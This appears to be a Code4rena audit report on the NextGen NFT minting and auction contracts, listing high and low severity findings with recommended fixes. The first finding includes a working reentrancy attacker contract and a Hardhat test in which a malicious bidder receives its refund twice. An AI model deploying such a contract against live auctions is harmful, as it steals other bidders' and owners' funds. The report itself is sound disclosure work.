NextGen - oakcobalt's results

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L135 https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L125

Vulnerability details

Impact

In AuctionDemo.sol, when the winner claims their winning NFT token, the other bidders' gets their bidding funds back in the same transaction. However, other bidders' bidding funds status is not reset, which allows a malicious bidder to get their refunds twice, stealing other bidders' or owners' funds directly.

Proof of Concept

There are (2) vulnerabilities at work here:

(1) In AuctionDemo.sol, the highest bidder at closing of auction can call claimAuction() to claim the nft, and the funds for other bidders' will be transferred in the same transaction. However, other bidders status is never reset (auctionInfoData[_tokenid][i].status).

// hardhat/smart-contracts/AuctionDemo.sol
    function claimAuction(uint256 _tokenid) public WinnerOrAdminRequired(_tokenid,this.claimAuction.selector){
...
            } else if (auctionInfoData[_tokenid][i].status == true) {
//@ audit other bidders' status `acutionInfoData[_tokenid][i].status` is never reset to false before funds refund
                (bool success, ) = payable(auctionInfoData[_tokenid][i].bidder).call{value: auctionInfoData[_tokenid][i].bid}("");
                emit Refund(auctionInfoData[_tokenid][i].bidder, _tokenid, success, highestBid);
            } else {}
...

(https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L115) (2) In cancelBid() or cancelAllBids(), block.timestamp is allowed to overlap with claimAuction(). This enables, other bidders cancel bids and the winner to claim bids at the same timestamp.

// hardhat/smart-contracts/AuctionDemo.sol
function cancelAllBids(uint256 _tokenid) public {
// @audit block.timestamp allows overlapping with `claimAuction()`. A malicious bidder can still cancel bid after getting refunds
|>      require(block.timestamp <= minter.getAuctionEndTime(_tokenid), "Auction ended");

(https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L135C1-L135C89)

Both in combined allows the following attack vector for a malicious bidder to gain profits from all auctions by stealing other's funds.

(a) Bidder1 participates in bidding 0.9 ether;

(b) The malicious bidder deploys the attacker contract - MaliciousBidder.sol (see below). The attacker participates in bidding 1 ether through MaliciousBidder.sol - participate(). They change the receive() fallback to call back to AuctionDemo.sol - cancelAllBids() at the point of winner calls claimAuction() at the closing of the auction when block.timestamp == minter.getAuctionEndTime(_tokenid). Note: The winner has motives to claim their winning nft at the earliest timestamp at minter.getAuctionEndTime(_tokenid) due to bidders can still bid at the auction end timestamp under the current implementation and potentially outbidding the winner.

// MaliciousBidder.sol
...
    receive() external payable {
        if (mode == true) {
// try-catch block added to ensure the original refunds will always succeed whenever claimAuction() is called.
// when claimAuction() is called by winner at auction end timestamp, `cancelAllBids()` will succeed send the same refunds a second time 
            try auctionDemo.cancelAllBids(currentToken) {
                emit DoubleRefunded();
            } catch {
                emit AttackFailed();
            }
        }
    }

(c) Bidder2 participates in bidding 1.1 ether; No one else is bidding higher, Bidder2 is the winner;

(d) Bidder2 wants to lock in their win and call claimAuction() at minter.getAuctionEndTime(_tokenid) timestamp. Bidder2's transaction went through and received the nft. However, the attacker received 2 ether back (double their initial bidding amount) stealing 1 ether from the owner. And the owner lost their highest bid transfer worth 1.1 ether. The remaining 0.1 ether is locked in the AuctionDemo contract due to no means of funds recovery.

See the attacker contract: MaliciousBidder.sol

pragma solidity ^0.8.19;

interface IAuctionDemo {
    function participateToAuction(uint256 _tokenid) external payable;

    function cancelAllBids(uint256 _tokenid) external;
}

contract MaliciousBidder {
    address public owner;
    IAuctionDemo public auctionDemo;
    bool public mode; //toggle for receive() callback behavior
    uint256 public currentToken;
    event DoubleRefunded();
    event AttackFailed();

    constructor(address _auctionDemo) {
        auctionDemo = IAuctionDemo(_auctionDemo);
        owner = msg.sender;
    }

    function setMode(bool _mode) public {
        mode = _mode;
    }

    function participate(uint256 _tokenId, uint256 _bid) public payable {
        currentToken = _tokenId;
        auctionDemo.participateToAuction{value: _bid}(_tokenId);
    }

    function withdraw() public {
        if (owner == msg.sender) {
            if (address(this).balance > 0) {
                payable(msg.sender).transfer(address(this).balance);
            }
        }
    }

    receive() external payable {
        if (mode == true) {
// try-catch block added to ensure the original refunds will always succeed whenever claimAuction() is called.
// when claimAuction() is called by winner at auction end timestamp, `cancelAllBids()` will succeed send the same refunds a second time 
            try auctionDemo.cancelAllBids(currentToken) {
                emit DoubleRefunded();
            } catch {
                emit AttackFailed();
            }
        }
    }
}

See the test added in hardhat/test/nextGen.test.js: (Note: AuctionDemo.sol is deployed in /scripts/fixturesDeployment.js)

 context("Auction malicious bidder", () => {
    let MaliciousBidder;
    let maliciousBidder;
    let currentTimestamp;
    let auctionTokenId;
    before(async function () {
      // Deploy attacker contract
      MaliciousBidder = await ethers.getContractFactory("MaliciousBidder");
      maliciousBidder = await MaliciousBidder.deploy(
        await contracts.hhAuction.getAddress()
      );
      // get current timestamp to set for auction end time
      const currentBlockNumber = await ethers.provider.getBlockNumber();
      const currentBlock = await ethers.provider.getBlock(currentBlockNumber);
      currentTimestamp = await currentBlock.timestamp;

      // admin mint and set auction for collection 2 tokenId 1
      await contracts.hhMinter.mintAndAuction(
        signers.owner.address,
        "",
        1,
        2,
        currentTimestamp + 10000
      );
      auctionTokenId =
        parseInt(await contracts.hhCore.viewCirSupply(2)) +
        parseInt(await contracts.hhCore.viewTokensIndexMin(2)) -
        1;
      expect(auctionTokenId).to.equal(20000000001);
      // auction for auctionTokenId is set!
      expect(
        await contracts.hhMinter.getAuctionStatus(auctionTokenId)
      ).to.equal(true);
      //owner approve AuctionDemo contract
      await contracts.hhCore
        .connect(signers.owner)
        .approve(await contracts.hhAuction.getAddress(), auctionTokenId);
    });
    it("bidder steal other bidders funds", async function () {
      // set for manual block mining
      await network.provider.send("evm_setAutomine", [false]);
      //malicious bidder funds attacker contract
      await signers.addr2.sendTransaction({
        to: await maliciousBidder.getAddress(),
        value: ethers.parseEther("1.0"),
      });
      await mine(1);
      //regular bidder1(addr1) bids 0.9 ether
      await contracts.hhAuction
        .connect(signers.addr1)
        .participateToAuction(auctionTokenId, {
          value: ethers.parseEther("0.9"),
        });
      await mine(1);
      //malicious bidder bids 1 ether
      await maliciousBidder.participate(
        auctionTokenId,
        ethers.parseEther("1.0")
      );
      await mine(1);
      //regular bidder2(addr2) bids 1.1 ether
      await contracts.hhAuction
        .connect(signers.addr2)
        .participateToAuction(auctionTokenId, {
          value: ethers.parseEther("1.1"),
        });
      await mine(1);
      // AuctionDemo contract now has 3 ether bidding funds
      expect(
        parseFloat(
          ethers.formatEther(
            await ethers.provider.getBalance(
              await contracts.hhAuction.getAddress()
            )
          )
        )
      ).to.equal(3);
      //malicious bidder balance before
      let attackerBalanceBefore = await ethers.provider.getBalance(
        await maliciousBidder.getAddress()
      );
      expect(parseFloat(ethers.formatEther(attackerBalanceBefore))).to.equal(0); //attacker contract has 0 ether prior attack
      //bidder1 balance before
      let bidder1BalanceBefore = await ethers.provider.getBalance(
        signers.addr1.address
      );
      // expect(parseFloat(ethers.formatEther(bidder1BalanceBefore))).to.equal(9999.09966870681406531)
      console.log(`bidder1 before: `, ethers.formatEther(bidder1BalanceBefore)); //9999.099668719804069312
      //bidder2 balance before
      let bidder2BalanceBefore = await ethers.provider.getBalance(
        signers.addr2.address
      );
      // expect(parseFloat(ethers.formatEther(bidder2BalanceBefore))).to.equal(9996.79952027295823973)
      console.log(`bidder2 before: `, ethers.formatEther(bidder2BalanceBefore)); //9996.79952027488884954
      //owner balance before
      let ownerBalanceBefore = await ethers.provider.getBalance(
        signers.owner.address
      );
      // expect(parseFloat(ethers.formatEther(ownerBalanceBefore))).to.equal(9998.06175917513382335)
      console.log(
        `owner before balance: `,
        ethers.formatEther(ownerBalanceBefore)
      ); //9998.061796017217934826
      //malicious bidder turn on malicious receive() mode
      await maliciousBidder.setMode(true);

      //auction end time
      await helpers.time.increaseTo(currentTimestamp + 10000);

      //winner (bidder2) claim rewards
      await contracts.hhAuction
        .connect(signers.addr2)
        .claimAuction(auctionTokenId);
      await mine(1);

      //malicious bidder balance after
      let attackerBalanceAfter = await ethers.provider.getBalance(
        await maliciousBidder.getAddress()
      );
      expect(parseFloat(ethers.formatEther(attackerBalanceAfter))).to.equal(2); //attacker has 2.0 ether now in balance after attack!
      console.log(`attacker after: `, ethers.formatEther(attackerBalanceAfter)); //2.0
      //bidder1 balance after
      let bidder1BalanceAfter = await ethers.provider.getBalance(
        signers.addr1.address
      );
      console.log(`bidder1 after: `, ethers.formatEther(bidder1BalanceAfter)); // 9999.999668719804069312
      //bidder2 balance after
      let bidder2BalanceAfter = await ethers.provider.getBalance(
        signers.addr2.address
      );
      console.log(`bidder2 after: `, ethers.formatEther(bidder2BalanceAfter)); //9996.799295320339043004
      //owner balance after
      let ownerBalanceAfter = await ethers.provider.getBalance(
        signers.owner.address
      );
      console.log("owner after: ", ethers.formatEther(ownerBalanceAfter)); //9998.061769336951283862 Owner lost the highest bid transfer!
      let auctionDemoBalAfter = await ethers.provider.getBalance(
        await contracts.hhAuction.getAddress()
      );
      expect(
        parseFloat(
          ethers.formatEther(
            await ethers.provider.getBalance(
              await contracts.hhAuction.getAddress()
            )
          )
        )
      ).to.equal(0.1); //AuctionDemo has 0.1 ether remaining bidding funds trapped
    });
  });

As seen from test above, the attacker contracts bid 1 ether and received 2 ether in return, stealing 1 ether funds from the owner. Owner lost the highest bid transfer of 1.1 ether. 0.1 ether is trapped in the contract.

Depending on the order in which bids are submitted, the attacker can also still other bidders' funds.

Tools Used

Manual Review Hardhat

Recommended Mitigation Steps

(1) In claimAuction(), reset the bidders status auctionInfoData[_tokenid][i].status to false before sending refunds; (2) In cancelAllBids() and cancelBid(), change the require into block.timestamp < minter.getAuctionEndTime(_tokenid);

Assessed type

Other

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/MinterContract.sol#L249-L252 https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/NextGenCore.sol#L180

Vulnerability details

Impact

In MinterContract.sol, airdropTokens() is meant for the artist to drop nfts for a selection of collectors. Based on doc, the airdrop is among other minting modes a collection can enable and combine.

However, current implementation of airdropToken() doesn't ensure that it is well compatible with the general minting process. Specifically, when a collection chooses sales option 3 (periodic sale) as its sale model. airdropToken() will clash with the general mint() methods, causing the majority of minting of a collection will be disabled for a collection. The artist and team will lose profits.

Proof of Concept

In MinterContract.sol, airdropTokens() implements a more privileged minting process where the function admin will mint nfts directly to a selection of collectors, which is a common practice for most nft releases.

The vulnerability is that airdropTokens()'s implementation will in some edge cases interfere and disable the public minting() process, preventing all public minting for a collection. And the edge case is when a collection is set for sales model 3.

Sales model 3 ensures periodic sales which limits minting to '1 token during each time period (e.g. minute, hour, day)'. And this is enforced inside if (collectionPhases[col].salesOption == 3) {... in mint().

Inside if (collectionPhases[col].salesOption == 3) {..., the key check is to ensure time difference tDiff hasn't increased more than the token allowance for the period. uint tDiff = (block.timestamp - timeOfLastMint) / collectionPhases[col].timePeriod;. And timeOfLastMint is lastMintDate[col] which is based on gencore.viewCirSupply(col) - the circulation supply of a collection - lastMintDate[col] = collectionPhases[col].allowlistStartTime + (collectionPhases[col].timePeriod * (gencore.viewCirSupply(col) - 1)). This calculation of tDiff and lastMintDate[col] make sense if the salesOption ==3.

However, when airDropTokens() is needed. airDropTokens() will directly increase gencore.viewCirSupply(col) through NextGenCore.sol - airDropTokens() bypassing any checks for sales options. And this increases lastMintDate[col] to a much further timestamp, and when next time mint() is called (block.timestamp - timeOfLastMint) will underflow, causing the public minting to revert.

// smart-contracts/MinterContract.sol
    function mint(
        uint256 _collectionID,
        uint256 _numberOfTokens,
        uint256 _maxAllowance,
        string memory _tokenData,
        address _mintTo,
        bytes32[] calldata merkleProof,
        address _delegator,
        uint256 _saltfun_o
    ) public payable {
...
        // control mechanism for sale option 3
        if (collectionPhases[col].salesOption == 3) {
            uint timeOfLastMint;
            if (lastMintDate[col] == 0) {
                // for public sale set the allowlist the same time as publicsale
                timeOfLastMint = collectionPhases[col].allowlistStartTime - collectionPhases[col].timePeriod;
            } else {
                timeOfLastMint =  lastMintDate[col];
            }
            // uint calculates if period has passed in order to allow minting
|>          uint tDiff = (block.timestamp - timeOfLastMint) / collectionPhases[col].timePeriod;
            // users are able to mint after a day passes
            require(tDiff>=1 && _numberOfTokens == 1, "1 mint/period");
// @audit-info lastMintDate and tDiff assume `gencore.viewCirSupply(col)` will only be increased by 1 per timeperiod. 
|>          lastMintDate[col] = collectionPhases[col].allowlistStartTime + (collectionPhases[col].timePeriod * (gencore.viewCirSupply(col) - 1));
        }

(https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/MinterContract.sol#L249-L252)

// smart-contracts/MinterContract.sol
    function airDropTokens(address[] memory _recipients, string[] memory _tokenData, uint256[] memory _saltfun_o, uint256 _collectionID, uint256[] memory _numberOfTokens) public FunctionAdminRequired(this.airDropTokens.selector) {
...
// @audit airdrop token flow doesn't check sales options and will directly call core contract to mint
                gencore.airDropTokens(mintIndex, _recipients[y], _tokenData[y], _saltfun_o[y], _collectionID);
...

(https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/MinterContract.sol#L189C1-L189C111)

// smart-contracts/NextGenCore.sol
    function airDropTokens(uint256 mintIndex, address _recipient, string memory _tokenData, uint256 _saltfun_o, uint256 _collectionID) external {
...
// @audit airdrop flow will directly increase collectionCirculationSupply count. Since airDrop is a privileged process, this accounting will interfere with general minting process accounting logic
|>      collectionAdditionalData[_collectionID].collectionCirculationSupply = collectionAdditionalData[_collectionID].collectionCirculationSupply + 1;
...

(https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/NextGenCore.sol#L180)

As seen above, when sales option is 3, any airdrops will effectively disable public minting() process where the artist's profit is dependent upon.

Tools Used

Manual review

Recommended Mitigation Steps

To prevent the edge case, either change how lastMintDate[col] is calculated to remove the dependency on viewCirSupply(col), OR change the airDropTokens() implementation in NextGenCore.sol to NOT counting airdrop tokens as part of general collectionCirulationSupply, since they are more of a privileged minting process.

Assessed type

Other

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/MinterContract.sol#L540

Vulnerability details

Impact

In MinterContract.sol - getPrice(), price will be incorrectly calculated when block.timestamp == collectionPhases[_collectionId].publicEndTime, users will have to pay unfair prices to mint.

Proof of Concept

The vulnerability is the sales phase timeframe boundary is inconsistently handled in MinterContract.sol.

In getPrice(), when salesOption==2 there is a check for the case when the sales phase is either 1 or 2. And in the check, the sales phase is defined as (allowlistStartime, publicEndTime). This is different from the sales phase defined in mint() where phase 1 is [allowlistStartime,allowlistEndTime] and phase 2 is [publicStartTime,publicEndTime].

As a result, when a user mint an NFT through mint() ad phase 2 when block.timestamp == publicEndTime, their msg.value will be checked against getPrice(col) which will not recognize sales phase as phase 2. Instead, getPrice() will directly bypass phase 2 price calculation and return a fixed price which is collectionMintCost. Incorrect price is returned.

// smart-contracts/MinterContract.sol
    function mint(uint256 _collectionID, uint256 _numberOfTokens, uint256 _maxAllowance, string memory _tokenData, address _mintTo, bytes32[] calldata merkleProof, address _delegator, uint256 _saltfun_o) public payable {
...
|>      } else if (block.timestamp >= collectionPhases[col].publicStartTime && block.timestamp <= collectionPhases[col].publicEndTime) {
            phase = 2;
            require(_numberOfTokens <= gencore.viewMaxAllowance(col), "Change no of tokens");
            require(gencore.retrieveTokensMintedPublicPerAddress(col, msg.sender) + _numberOfTokens <= gencore.viewMaxAllowance(col), "Max");
            mintingAddress = msg.sender;
            tokData = '"public"';
        } else {
...
        require(msg.value >= (getPrice(col) * _numberOfTokens), "Wrong ETH");
...

(https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/MinterContract.sol#L221)

// smart-contracts/MinterContract.sol
    function getPrice(uint256 _collectionId) public view returns (uint256) {
...
// @audit phase 2 timeframe boundary is inconsistent from `mint()`, price will be incorrect when `block.timestamp` is at the boundary
|>      } else if (collectionPhases[_collectionId].salesOption == 2 && block.timestamp > collectionPhases[_collectionId].allowlistStartTime && block.timestamp < collectionPhases[_collectionId].publicEndTime){
// @audit-info note: exponential decrease or linear decrease price calculation inside
...
        } else {
// @audit fixed price will be returned 
            // fixed price
            return collectionPhases[_collectionId].collectionMintCost;
        }
}

(https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/MinterContract.sol#L540)

As seen above, a fixed price will be returned instead of a price calculated based on exponential decrease or linear decrease. This means the price quoted is likely much higher than what it should be. Unfair high price resulted in user's loss.

Tools Used

Manual Review

Recommended Mitigation Steps

In getPrice(), handle phase 1 & 2 time boundary the same way as mint(). Change the if statement to reflect [allowlistStartime, publicEndTime].

Assessed type

Timing

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L105 https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L58

Vulnerability details

Impact

In AuctionDemo.sol, the participateToAuction() and claimAuction() flows have vulnerabilities that will likely result in bidders permanently losing their bidding funds when they submit their bids close to the auction end timestamp.

And since bidding close to the auction end timestamp is expected bidding behavior that happens regularly in auctions where a bidding war is encouraged until the auction ends, I think this is a high-severity issue.

Proof of Concept

There are (2) vulnerabilities at work here.

(1) The boundary of the time range between the active auction period and the auction end is not cleanly handled. A time overlap is allowed at auction end timestamp; (2) When an auction is claimed - the nft is minted and bidding funds are returned, the auction claim status is not checked in participateToAuction();

On top of the (2) above, claimAuction() allows the winner to call the function to claim their nft and distribute bidding funds, which is essentially making claimAuction() publicly available to whoever has the highest bid at the auction end timestamp.

// smart-contracts/AuctionDemo.sol
    function participateToAuction(uint256 _tokenid) public payable {
// @audit auction end time is allowed here
|>      require(
            msg.value > returnHighestBid(_tokenid) &&
                block.timestamp <= minter.getAuctionEndTime(_tokenid) &&
                minter.getAuctionStatus(_tokenid) == true
        );
        auctionInfoStru memory newBid = auctionInfoStru(msg.sender, msg.value, true);
        auctionInfoData[_tokenid].push(newBid);
    }
...

(https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L58)

// smart-contracts/AuctionDemo.sol
    function claimAuction(uint256 _tokenid) public WinnerOrAdminRequired(_tokenid,this.claimAuction.selector){
// @audit auction end time is allowed here
|>      require(block.timestamp >= minter.getAuctionEndTime(_tokenid) && auctionClaim[_tokenid] == false && minter.getAuctionStatus(_tokenid) == true);
// @audit auction claimed status is reset, however, this is never checked in `participateToAuction()`
        auctionClaim[_tokenid] = true;
...

(https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L105)

As seen above, when users trying to outbid each other close to the auction end, their transaction might settle at minter.getAuctionEndTime(_tokenid), in which case, their bidding funds will be paid and bidding will be successful.

However, to solidify their win, the existing highest bidder will claimAuction() at the earliest which is also the same timestamp as minter.getAuctionEndTime(_tokenid). In such cases, the bidders whose transaction is settled after the existing highest bidder will have their funds lost. In addition, calling cancelBid() after the fact to recover their bidding funds will be too late since the transaction will revert when the timestamp passes the auction end time.

We can see that in AuctionDemo.sol there is no emergency withdrawal or funds sweeps mechanism to recover any funds locked in the scenario above.

Tools Used

Manual Review

Recommended Mitigation Steps

In paricipateToAuction, either change the require statement into block.timestamp < minter.getAuctionEndTime(_tokenid), or add check to ensure auctionClaim[_tokenid] != true.

Assessed type

Timing

Low - 01 Not necessary to store two variables in storage with the same value

In NextGenCore.sol, struct collectionAdditonalDataStructure is defined with two elements both storing the same randomizerContract address. And in the contract, both values are modified every time randomizerContract is updated.

instance(1):

// smart-contracts/NextGenCore.sol
struct collectionAdditonalDataStructure {
        address collectionArtistAddress;
        uint256 maxCollectionPurchases;
        uint256 collectionCirculationSupply;
        uint256 collectionTotalSupply;
        uint256 reservedMinTokensIndex;
        uint256 reservedMaxTokensIndex;
        uint setFinalSupplyTimeAfterMint;
        //@audit-info ! No need to store both the address version and the contract version of the same data.
|>      address randomizerContract;
|>      IRandomizer randomizer;
    }

(https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/NextGenCore.sol#L52-L53)

// smart-contracts/NextGenCore.sol
function addRandomizer(
        uint256 _collectionID,
        address _randomizerContract
    ) public FunctionAdminRequired(this.addRandomizer.selector) {
        require(
            IRandomizer(_randomizerContract).isRandomizerContract() == true,
            "Contract is not Randomizer"
        );
        //@audit only one of these two variables needs to be declared and updated.
|>      collectionAdditionalData[_collectionID]
            .randomizerContract = _randomizerContract;
|>      collectionAdditionalData[_collectionID].randomizer = IRandomizer(
            _randomizerContract
        );
    }

(https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/NextGenCore.sol#L172-L173)

Recommendations: Only declare and update one of the two variables that hold the randomizer contract address.

Low - 02 Not necessary to maintain an additional mapping from _mintIndex -> _collectionID

In NextGenCore.sol, a mapping tokenIdsToCollectionIds is written to every time a token is minted. This is unnecessary and can be simplified. Because minting is always called from MinterContract.sol and the token index is always calculated based collection id and total circulation of that colleciton id as follows: uint256 mintIndex = gencore.viewTokensIndexMin(col) + gencore.viewCirSupply(col); , and minimum index is always defined as collectionAdditionalData[_collectionID] .reservedMinTokensIndex = (_collectionID * 10000000000); , we always know a collection id given a mintIndex by (mintIndex/10000000000). Instead of a simple binary operation, keeping a separate mapping is more expensive.

instance(1):

// smart-contracts/NextGenCore.sol
function _mintProcessing(
        uint256 _mintIndex,
        address _recipient,
        string memory _tokenData,
        uint256 _collectionID,
        uint256 _saltfun_o
    ) internal {
...
// @audit this mapping is written every time for a mint, the declaration and maintaining of this mapping is not necessary and can be simplified
|>      tokenIdsToCollectionIds[_mintIndex] = _collectionID;
        _safeMint(_recipient, _mintIndex);
...

(https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/NextGenCore.sol#L230)

Recommendations: Use a helper function with a simple binary operation to return collectionId for a mintIndex when needed, instead of maintaining mintIndex->collectionId mapping.

Low - 03 NextGenCore.sol's supportsInterface() is incorrectly implemented

In NextGenCore.sol, it inherits ERC721Enumerable and ERC2981. However, calling supportsInterface() on NextGenCore will not show that it supports ERC2981 due to an incorrect override.

This is due to linearized inheritance order has ERC721Enumerable listed before ERC2981, therefore,super will refer to ERC721Enumerable's supportsInterface() implementation. The linearized inheritance order determines which parent contract super refers to when there are multiple inherited functions.

Contract inheritance: contract NextGenCore is ERC721Enumerable, Ownable, ERC2981 {

instance(1):

// smart-contracts/NextGenCore.sol
    //@audit this will not shown supporting ERC2981 even though it supports ERC2981, due to the order of inheritance of NextGenCore. 
    function supportsInterface(
        bytes4 interfaceId
    ) public view virtual override(ERC721Enumerable, ERC2981) returns (bool) {
|>      return super.supportsInterface(interfaceId);
    }

(https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/NextGenCore.sol#L338)

ERC721Enumerable:

    function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {
        return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId);
    }

ERC2981:

    function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC165) returns (bool) {
        return interfaceId == type(IERC2981).interfaceId || super.supportsInterface(interfaceId);
    }

Recommendations: In NexGenCore.sol - supportsInterface(), explicit return the interfaces needed to return.

Low - 04 tokenURI() might return incomplete or incorrect tokenURI without warning

In NextGenCore.sol, tokenURI() includes multiple metadata of a token including retrieveGenerativeScript(tokenId) which concatenates a random token Hash generated by the randomizer contract. Due to the possible off-chain implementation (e.g. Chainlink VRF), token hash may not be generated in time or fail to generate. In this case, token Hash will be empty and tokenURI() will return an incorrect tokenURI.

instance(1):

// smart-contracts/NextGenCore.sol
    function tokenURI(
        uint256 tokenId
    ) public view virtual override returns (string memory) {
...
            string memory b64 = Base64.encode(
                abi.encodePacked(
                    '<html><head></head><body><script src="',
                    collectionInfo[tokenIdsToCollectionIds[tokenId]]
                        .collectionLibrary,
                    '"></script><script>',
// @audit retrieveGenerativeScript will return incorrect string when token hash is empty
|>                  retrieveGenerativeScript(tokenId),
                    "</script></body></html>"
                )
            );

(https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/NextGenCore.sol#L353)

// smart-contracts/NextGenCore.sol
    function retrieveGenerativeScript(
        uint256 tokenId
    ) public view returns (string memory) {
...
        return
            string(
                abi.encodePacked(
                    "let hash='",
// @audit when token hash is empty (not yet returned by randomizer contract or void due to error), tokenToHash[tokenId] will simply return bytes32(0), however, this will not be checked in tokenURI.
// @audit incorrect script string and tokenURI will be returned without handling
|>                  Strings.toHexString(uint256(tokenToHash[tokenId]), 32),
                    "';let tokenId=",
                    tokenId.toString(),
                    ";let tokenData=[",
                    tokenData[tokenId],
                    "];",
                    scripttext
                )
            );

(https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/NextGenCore.sol#L456)

Recommendations: When random token hash for a given tokenID is not available, either revert or return an empty string as warning, instead of returning an incorrect tokenURI with no warning.

Low - 05 Unused Ownable (Note: Not included in the bot report)

There are (4) instances where the contract inherits Ownable.sol, however, owner is not used in any ways, making the inheritance redundant.

Instances(4):

// smart-contracts/NextGenCore.sol
//@audit Ownable is not necessary based on current implementation, no onlyOwner function is used, nor is the variable `owner` accessed by any contracts.
contract NextGenCore is ERC721Enumerable, Ownable, ERC2981 {
...

(https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/NextGenCore.sol#L22)

// smart-contracts/MinterContract.sol
//@audit Ownable is not necessary based on current implementation, no onlyOwner function is used, nor is the variable `owner` accessed by any contracts.
contract NextGenMinterContract is Ownable {
...

(https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/NextGenCore.sol#L22)

// smart-contracts/RandomizerVRF.sol

contract NextGenRandomizerVRF is VRFConsumerBaseV2, Ownable {
...

(https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/RandomizerVRF.sol#L19)

// smart-contracts/RandomizerRNG.sol

contract NextGenRandomizerRNG is ArrngConsumer, Ownable {
...

(https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/RandomizerRNG.sol#L18C1-L18C58)

Recommendations: Consider not inheriting Ownable.sol when the owner is not used.

Low - 06 Verify the length of multiple dynamic arrays matches before for-loop (Note: Not included the bot report)

In MinterContract.sol - airDropTokens(), multiple tokens can be minted for multiple recipients each with different data or number of tokens. Although this is an admin funciton, there should be check to ensure various array lengths match each other to prevent errors.

instance(1):

// smart-contracts/MinterContract.sol
//@audit Verify the length of the _recipients matches, the lenght of _collectionID and _numberOfTokens
    function airDropTokens(
        address[] memory _recipients,
        string[] memory _tokenData,
        uint256[] memory _saltfun_o,
        uint256 _collectionID,
        uint256[] memory _numberOfTokens
    ) public FunctionAdminRequired(this.airDropTokens.selector) {
...

(https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/MinterContract.sol#L181)

Recommendations: Check array lengths match each other.

Low - 07 Unnecessary code, two require statements to ensure the same condition

In MinterContract.sol - mint(), there are two require statements both ensure that a collection maximum allowance is not exceeded is minted. This is unnecessary, only one require statement is needed.

instance(1):

// smart-contracts/MinterContract.sol
    function mint(uint256 _collectionID, uint256 _numberOfTokens, uint256 _maxAllowance, string memory _tokenData, address _mintTo, bytes32[] calldata merkleProof, address _delegator, uint256 _saltfun_o) public payable {
...
//@audit if the second require statement passes, the first one will always pass. So only the second require statement is needed.
            require(_numberOfTokens <= gencore.viewMaxAllowance(col), "Change no of tokens");
            require(gencore.retrieveTokensMintedPublicPerAddress(col, msg.sender) + _numberOfTokens <= gencore.viewMaxAllowance(col), "Max");
...

(https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/MinterContract.sol#L223-L224)

Low - 08 Unnecessary code: collectionTokenMintIndex already calculated the new index Id, no need to declare new variable mintIndex and perform the same math again

In MinterContract.sol, there are (3) instances where mintIndex is declared and the same math is performed the second time when collectionTokenMintIndex could have been directly used. This is unnecessary code implementation.

Instances(3):

// smart-contracts/MinterContract.sol
    function burnToMint(
        uint256 _burnCollectionID,
        uint256 _tokenId,
        uint256 _mintCollectionID,
        uint256 _saltfun_o
    ) public payable {
...
        uint256 collectionTokenMintIndex;
        collectionTokenMintIndex =
            gencore.viewTokensIndexMin(_mintCollectionID) +
            gencore.viewCirSupply(_mintCollectionID);
        require(
            collectionTokenMintIndex <=
                gencore.viewTokensIndexMax(_mintCollectionID),
            "No supply"
        );
...
// @audit `collecntionTokenMintIndex` can be used here without `mintIndex`
        uint256 mintIndex = gencore.viewTokensIndexMin(_mintCollectionID) +
            gencore.viewCirSupply(_mintCollectionID);
...

(https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/MinterContract.sol#L267)

// smart-contracts/MinterContract.sol
